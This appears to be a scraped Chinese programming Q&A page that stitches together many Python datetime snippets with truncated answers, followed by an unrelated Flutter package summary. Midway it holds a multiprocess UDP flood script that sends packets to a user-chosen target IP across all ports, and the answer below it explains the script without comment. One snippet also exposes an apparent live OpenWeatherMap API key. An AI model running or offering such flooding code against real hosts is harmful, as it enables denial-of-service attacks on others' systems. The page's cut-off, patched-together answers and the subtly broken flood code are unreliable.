from datetime import datetimed = datetime.now()print("当前时间是：", d)b = datetime.now().isocalendar()print("今天是：", end='')print("%d年%d月%d日" % (d.year, d.month, d.day))print("今天是%d年的第%d周，该周的第%d天" % (b[0], b[1], b[2]))

时间: 2024-02-03 16:12:30 浏览: 124
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用程序输出“当前时间是XXXX年XX月XX日XX时XX分XX秒（第XX周，周X）

这段代码可以获取当前时间，并且输出今天是几年几月几日，以及今天是今年的第几周，该周的第几天。其中，datetime.now() 获取当前时间，isocalendar() 方法返回一个元组，包含当前日期所在的年份、周数、星期几（星期一为1，星期日为7）。代码如下： ```python from datetime import datetime d = datetime.now() print("当前时间是：", d) b = datetime.now().isocalendar() print("今天是：", end='') print("%d年%d月%d日" % (d.year, d.month, d.day)) print("今天是%d年的第%d周，该周的第%d天" % (b[0], b[1], b[2])) ```
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输入年、月、日，打印出该天是那年的第几天。

1. 编写一个程序，输入年、月、日，打印出该天是那年的第几天。
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输入一个日期，输出日期是这一年的第几周的第几天

输入一个用户指定的日期，输出这个日期是这一年的第几周的第几天。

from datetime import datetime d = datetime.now() print("当前时间是：",d) b=datetime.now().isocalendar() print("今天是：",end = '') print("%d年%d月%d日"%(d.year,d.month,d.day)) print("今天是%d年的第%d周，该周的第%d天"%(b[0],b[1],b[2]))

print("当前时间是：", d) b = datetime.now().isocalendar() print("今天是：", end='') print("%d年%d月%d日" % (d.year, d.month, d.day)) print("今天是%d年的第%d周，该周的第%d天" % (b[0], b[1], b[2])) ...

import datetime now = datetime.datetime.now() strf = now.strftime('%Y-%m-%d %H:%M:%S') print(strf)这个呢

这段程序的输出结果类似于以下内容，具体时间取决于你运行代码的时间： 2022-08-18 15:30:00 这段代码与上一个示例的不同之处在于它使用了strftime()方法将日期和时间格式化为字符串。strftime()方法...

显示当前时间： Dt.datetime.now() Dt.datetime.today() 计算时差： D1=dt.datetime.now() D2=dt.datetime(year=2007,month=3,day=3) (d1-d2).days 数据可视化： import matplotlib.pyplot as plt plt.style.use("classic") import numpy as np import pandas as pd mg=np.random.RandomState(0) X=np.linspace(0,10,500) y=np.cumsum(mg.randn(500,6),0) #plt.plot(X,y) #plt.legend("abcdef",ncol=2,loc="upper left") print(y) import seaborn as sns sns.set() plt.plot(X,y) plt.legend("abcdef",ncol=2,loc="upper left")

在这个例子中，我们使用 now() 方法获取当前时间，使用 datetime() 方法创建了一个指定日期的 datetime 对象。然后，我们通过对两个 datetime 对象进行减法运算得到它们之间的差值，最后使用 days 属性...

import datetime time = datetime.datetime.now() t = time.strftime('%Y-%m-%d %H:%M:%S')为什么老是在同一个时间点上

这可能是因为你的代码只运行了一次，因此在该代码运行时记录的时间将是固定的。你可以尝试在代码中添加一个循环，以便多次运行代码并记录不同...这将在每秒钟记录当前时间并打印它。如果你想停止循环，请按 Ctrl + C。

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数，用于进行攻击。它的参数是"P_num"，"ip"和"port"。其中，"P_num"表示攻击使用的进程数，"ip"表示目标IP地址，"port"表示目标端口号。 在函数中，导入了一些必要的Python库，包括"sys"、"os"、...

import pyowm import datetime # 获取当前时间 now = datetime.datetime.now() # 获取上个月的时间 last_month = now.replace(month=now.month-1) # 初始化OpenWeatherMap对象 owm = pyowm.OWM('cff205d4bc569aaffdb80114250e52df') # 把'your-api-key'替换成你的API Key # 获取上个月的天气情况 mgr = owm.weather_manager() observation = mgr.weather_at_place('Shanghai') date_obj = datetime.datetime(last_month.year, last_month.month, 1) one_call = mgr.one_call(lat=observation.weather.location.lat, lon=observation.weather.location.lon, dt=date_obj.timestamp(), exclude='current,minutely,hourly,alerts') condition = one_call.forecast_daily[0].status print('上个月的天气情况是：', condition)被返回'Weather' object has no attribute 'location'

# 获取当前时间 now = datetime.datetime.now() # 获取上个月的时间 last_month = now.replace(month=now.month-1) # 初始化OpenWeatherMap对象 owm = pyowm.OWM('your-api-key') # 把'your-api-key'替换成你的API...

請解釋import cv2 from datetime import datetime import os cap=cv2.VideoCapture(1)#0:本地攝像頭；可以跟http地址格式 ret, frame = cap.read() frames=0 imgnum=0 while True: try: ret,frame = cap.read() if ret==False: print(ret) continue frames=frames+1 if frames==10 :#10帧保存一张 frames=0 imgnum=imgnum+1 name=datetime.now().strftime('%Y%m%d%H%M%S') cv2.imwrite("D:\\BU9_images\\"+name+".jpg",frame) cv2.imshow("test",frame) if cv2.waitKey(1) & 0xFF == ord('q'): break except Exception as e: print(e.args) continue

- from datetime import datetime：从datetime模块中导入datetime类，用于生成当前时间的字符串。 - import os：导入os模块，用于文件和目录操作。 - cap=cv2.VideoCapture(1)：创建一个VideoCapture对象，...

import datetime now = datetime.datetime.now() print(now.strftime("Y%m%d%H%M%S")) 这段代码打印出来是Y0527234804 这是什么情况

这段代码的问题在于字符串...print(now.strftime("%Y%m%d%H%M%S")) 这样运行后，就可以正确地输出当前的年月日时分秒了。例如，现在的时间是2022年5月27日23点48分4秒，那么输出的结果就应该是20220527234804。

写出以下程序对应的结果 （1） import datetime now = datetime.datetime.now() print(now)

这段程序的输出结果类似于以下内容，具体时间取决于你运行代码的时间： 2022-08-18 15:30:00.123456 其中，日期和时间的格式为YYYY-MM-DD HH:MM:SS.microseconds，microseconds表示微秒，即百万分之一...

import datetime # a = datetime.datetime.now() def day_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') oneday = datetime.timedelta(days=1) day = d - oneday date_from = datetime.datetime(day.year, day.month, day.day, 0, 0, 0) date_to = datetime.datetime(day.year, day.month, day.day, 23, 59, 59) print('---'.join([str(date_from), str(date_to)])) def week_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6) dayfrom = dayto - sixdays date_from = datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) datelist = [[str(date_from)], [str(date_to)]] # print('---'.join([str(date_from), str(date_to)])) return datelist def multi_week_get(d, num): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') date_num = [] # date_num = [date_to1] for i in range(num - 1, 0, -1): dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6 * i) dayfrom = dayto - sixdays date_from = str(datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 10, 0, 0)) date_num.append(date_from) dayscount1 = datetime.timedelta(days=d.isoweekday()) onedays = datetime.timedelta(days=1) dayto1 = d - dayscount1 + onedays date_to1 = str(datetime.datetime(dayto1.year, dayto1.month, dayto1.day, 10, 0, 0)) date_num.append(date_to1) return date_num def month_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.day) dayto = d - dayscount date_from = datetime.datetime(dayto.year, dayto.month, 1, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) # print('---'.join([str(date_from), str(date_to)])) datelist = [[str(date_from)], [str(date_to)]] return datelist class op_date(object): def week_get(self, param): pass if __name__ == "__main__": op_date = op_date() # print(op_date.week_get("2023-06-09 23:00:00")[0]) print(op_date.week_get("2023-06-09 23:00:00")[1]) print(multi_week_get("2023-06-09 23:00:00", 4))

这段代码是关于日期时间的操作，包括获取前一天、上一周、上几周、上个月的起止时间。其中，day_get函数获取前一天的起止时间，week_get函数获取上一周的起止时间，multi_week_get函数获取上几周的起始时间，month_...

优化代码 import speech_recognition as sr import pyttsx3 import pywhatkit import datetime import wikipedia import pyjokes listener = sr.Recognizer() engine = pyttsx3.init() voices = engine.getProperty('voices') engine.setProperty('voice', voices[1].id) def talk(text): engine.say(text) engine.runAndWait() def take_command(): try: with sr.Microphone() as source: print('listening...') voice = listener.listen(source) command = listener.recognize_google(voice) command = command.lower() if 'assistant' in command: command = command.replace('assistant', '') print(command) except: pass return command def run_assistant(): command = take_command() print(command) if 'play' in command: song = command.replace('play', '') talk('playing ' + song) pywhatkit.playonyt(song) elif 'time' in command: time = datetime.datetime.now().strftime('%I:%M %p') talk('Current time is ' + time) elif 'who is' in command: person = command.replace('who is', '') info = wikipedia.summary(person, 1) print(info) talk(info) elif 'joke' in command: talk(pyjokes.get_joke()) else: talk('Please say the command again.') while True: run_assistant()

print(f"Could not request results from Google Speech Recognition service: {e}") command = "" return command 3. 在run_assistant()函数中，建议对语音指令进行更严格的判断。例如，如果用户说了...

from datetime import datetime try: sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) except: print('创建套接字失败') exit() try: sock.bind(('',5005)) except: print('端口号已被使用。') exit() print('时间服务器已启动') while True: data, addr = sock.recvfrom(100) if data == b'ask for time': sock.sendto(str(datetime.now())[:19].encode(), addr) sock.close( ) 客户端代码： import socket from time import sleep while True: try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print('创建套接字失败') break sock.settimeout(0.5) sock.sendto(b'ask for time', ('192.168.14.10', 5005)) try: data, addr = sock.recvfrom(100) except socket.timeout: print('服务器不存在，一秒后重试。') else: print('服务器时间：', data.decode()) finally: sock.close() sleep(1)套接字编程中服务端客户端数据交互的代码是什么

以上代码是一个时间服务器的示例代码，其中服务端通过创建一个UDP套接字，绑定到指定的端口号，然后通过循环监听客户端发送的数据，如果收到客户端发送的“ask for time”消息，则返回当前时间给客户端。 而客户端...

import uiautomator2 as u2 from time import sleep import datetime d = u2.connect('192.168.68.99:5556') a = 0 while a < 100: d(text='会员提币').click() print(datetime.datetime.now(), '点击会员提币') sleep(1.5) d(resourceId='com.sr.extractsalecoinmechine:id/key3').click() print(datetime.datetime.now(), '点击3币') sleep(1) d(resourceId='com.sr.extractsalecoinmechine:id/key0').click() print(datetime.datetime.now(), '点击0币') sleep(1) d(resourceId='com.sr.extractsalecoinmechine:id/key0').click() print(datetime.datetime.now(), '点击0币') sleep(1) d(resourceId='com.sr.extractsalecoinmechine:id/key_sure').click() print(datetime.datetime.now(), '点击确认') sleep(20) d(text="关闭").click() a += 1 sleep(5) print(datetime.datetime.now(), a, '次') 优化代码

可以考虑以下优化： ... print(datetime.datetime.now(), i+1, '次') except Exception as e: print(e) finally: sleep(5) if __name__ == '__main__': main() 这样的代码结构更清晰易懂，也更容易维护。

import re import datetime import traceback now =datetime.datetime.now() timestamp = now.strftime('%Y_%m_%d_%H_%M_%S') #文件路径 处理数据='D:/BD_test/1.txt' # 读取文本文件内容 with open(处理数据, "r",encoding='gb18030',errors='ignore') as f: content = f.read() # 定义正则表达式，用于匹配$GNGGA和M,,*之间的数据 pattern = r"\$GNGGA.*M,,\w{2}" # 使用正则表达式匹配文本内容，并保存到新的文本文件中 # 构建文件名，创建文件，并写入内容 BD_name = f"D:/BD_test/BD_test-wh_{timestamp}.txt" try: with open(BD_name, "w") as f: for match in re.findall(pattern, content): f.write(match + "\n") except Exception as e: print(traceback.format_exc())打包后，未生成文档

可以使用 print() 语句输出一些调试信息，或者使用日志记录工具记录程序运行过程，以便更好地定位问题。 4. 确认程序是否被其他程序或者进程占用，如果文件被占用，程序也无法写入内容。可以尝试关闭其他相关的...

from sklearn.decomposition import PCA from sklearn.cluster import KMeans from sklearn.metrics import accuracy_score import numpy as np import matplotlib.pyplot as plt from tensorflow.examples.tutorials.mnist import input_data import datetime # 导入数据集 start = datetime.datetime.now() #计算程序运行时间 mnist = input_data.read_data_sets("MNIST_data/", one_hot=True) X_train = mnist.train.images y_train = mnist.train.labels X_test = mnist.test.images y_test = mnist.test.labels #PCA降维 pca = PCA(n_components=10) X_train_pca = pca.fit_transform(X_train) X_test_pca = pca.fit_transform(X_test) # 可视化 plt.scatter(X_train_pca[:, 0], X_train_pca[:, 1], c=np.argmax(y_train, axis=1)) plt.show() # K-means聚类 kmeans_centers = [] # 用于存储初始类中心 for i in range(10): idx = np.where(np.argmax(y_train, axis=1) == i)[0] # 获取第i类数字的索引列表 sample_idx = np.random.choice(idx) # 随机指定一个样本作为初始类中心 kmeans_centers.append(X_train_pca[sample_idx]) # 将初始类中心添加到列表中 kmeans = KMeans(n_clusters=10,init=kmeans_centers,n_init=1) kmeans.fit(X_train_pca) # 计算分类错误率 y_pred = kmeans.predict(X_test_pca) acc = accuracy_score(np.argmax(y_test, axis=1), y_pred) print("分类错误率：{:.2%}".format(1-acc)) # 计算程序运行时间 end = datetime.datetime.now() print("程序运行时间为:"+str((end-start).seconds)+"秒")优化这段代码，输出其中pca降维的因子负荷量

start = datetime.datetime.now() #计算程序运行时间 mnist = input_data.read_data_sets("MNIST_data/", one_hot=True) X_train = mnist.train.images y_train = mnist.train.labels X_test = mnist.test.images y_...

請你幫我這個鬧鐘做成GUI窗口from datetime import datetime from playsound import playsound # 输入 alarm_time = input("请输入闹钟时间, 示例: 09:50:00 am\n") # 时 alarm_hour = alarm_time[0:2] # 分 alarm_minute = alarm_time[3:5] # 秒 alarm_seconds = alarm_time[6:8] # 上午或下午 alarm_period = alarm_time[9:11].upper() print("完成闹钟设置..") while True: now = datetime.now() current_hour = now.strftime("%I") current_minute = now.strftime("%M") current_seconds = now.strftime("%S") current_period = now.strftime("%p") # 时间判断 if alarm_period == current_period: if alarm_hour == current_hour: if alarm_minute == current_minute: if alarm_seconds == current_seconds: print("起来啦!") # 闹钟铃声 playsound('audio.mp3') break

from datetime import datetime from playsound import playsound import tkinter as tk from tkinter import filedialog def set_alarm(): alarm_time = entry_time.get() # 获取输入的闹钟时间 alarm_sound = ...

from PIL import ImageGrab import numpy as np import cv2 from pynput import keyboard import threading import datetime flag = False def video_record(): p = ImageGrab.grab() a, b = p.size fourcc = cv2.VideoWriter_fourcc(*'XVID') filename = '视频_{}.avi'.format(datetime.datetime.now().strftime('%Y%m%d_%H%M%S')) video = cv2.VideoWriter(filename, fourcc, 28, (a, b)) while True: im = ImageGrab.grab() inn = cv2.cvtColor(np.array(im), cv2.COLOR_RGB2BGR) video.write(inn) if flag: print('录制结束！') break video.release() def on_press(key): global flag if key == keyboard.Key.esc: flag = True return False if name == 'main': print('开始录制！') th = threading.Thread(target=video_record) th.start() with keyboard.Listener(on_press=on_press) as listener: listener.join()实现它的函数调用步骤顺序是怎么实现的

这段代码实现了一个屏幕录制功能，并且可以通过按下键盘上的 Esc 键来停止录制。具体的函数调用步骤如下： 1. 首先定义了一个名为 video_record 的函数，用于执行屏幕录制的逻辑。 2. 在 video_record 函数中，先...

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Flutter状态管理新秀：sealed_flutter_bloc包整合seal_unions

资源摘要信息:"sealed_flutter_bloc是Flutter社区中一个新兴的状态管理工具，它的核心思想是通过集成sealed_unions库来实现更为严格和可预测的类型管理。在Flutter开发过程中，状态管理一直是一个关键且复杂的部分，sealed_flutter_bloc通过定义不可变的状态类型和清晰的转换逻辑，帮助开发者减少状态管理中的错误和增强代码的可维护性。" 知识点详解： 1. Flutter状态管理 Flutter作为Google开发的一个开源UI框架，主要用来构建跨平台的移动应用。在Flutter应用中，状态管理指的是控制界面如何响应用户操作以及后台数据变化的技术和实践。一个良好的状态管理方案应该能够提高代码的可读性、可维护性和可测试性。 2. sealed flutter bloc sealed flutter bloc是基于bloc（Business Logic Component）状态管理库的一个扩展，通过封装和简化状态管理逻辑，使得状态变化更加可控。Bloc库提供了一种在Flutter中实现反应式状态管理的方法，它依赖于事件（Events）和状态（States）的概念。 3. sealed_unions sealed_unions是一个Dart库，用于创建枚举类型的数据结构。在Flutter的状态管理中，状态（State）可以看作是一个枚举类型，它只有预定义的几个可能的值。通过sealed_unions，开发者可以创建不可变且完整的状态枚举，这有助于在编译时期就能确保所有可能的状态都已被考虑，从而减少运行时错误。 4. Union4Impl和扩展UnionNImpl 在给定的描述中，提到了扩展UnionNImpl，这可能是指sealed_unions库中的一个API。UnionNImpl是一个泛型类，它用于表示一个含有N个类型的状态容器。通过扩展UnionNImpl，开发者可以创建自己的状态类，例如在描述中出现的MyState类。这个类继承自Union4Impl，意味着它可以有四种不同的状态类型。 5. Dart编程语言 Dart是Flutter应用的编程语言，它是一种面向对象的、垃圾回收机制的编程语言。Dart的设计目标是可扩展性，它既适用于快速开发小型应用程序，也能够处理大型复杂项目。在Flutter状态管理中，Dart的强大类型系统是确保类型安全和状态不变性的重要基础。 6. Dart和Flutter的包（Package） Flutter包是Dart社区共享代码的主要方式，它们可以让开发者轻松地将第三方库集成到自己的项目中。sealed_flutter_bloc就是一个Dart/Flutter包，它通过封装了sealed_unions库，提供了一种更高级的状态管理实现方式。开发者可以通过包管理工具来安装、升级和管理项目依赖的Flutter包。 7. 代码示例解析 描述中提供的代码片段是MyState类的实现，它继承自Union4Impl类，并使用Quartet来定义四种可能的状态。MyState类中有两个工厂构造函数，一个用于创建初始状态（initial），另一个用于创建加载状态（loading）。这段代码展示了如何使用sealed flutter bloc来定义一个简单的状态管理结构，并通过构造函数来创建不同的状态实例。 总结来说，sealed_flutter_bloc通过集成sealed_unions提供了一种类型安全且结构清晰的状态管理方案。通过预定义的状态枚举和严格的状态转换规则，它能够帮助开发者构建更加健壮和易于维护的Flutter应用。这种状态管理方式尤其适用于中大型项目，能够有效避免运行时错误，提高代码的可读性和可维护性。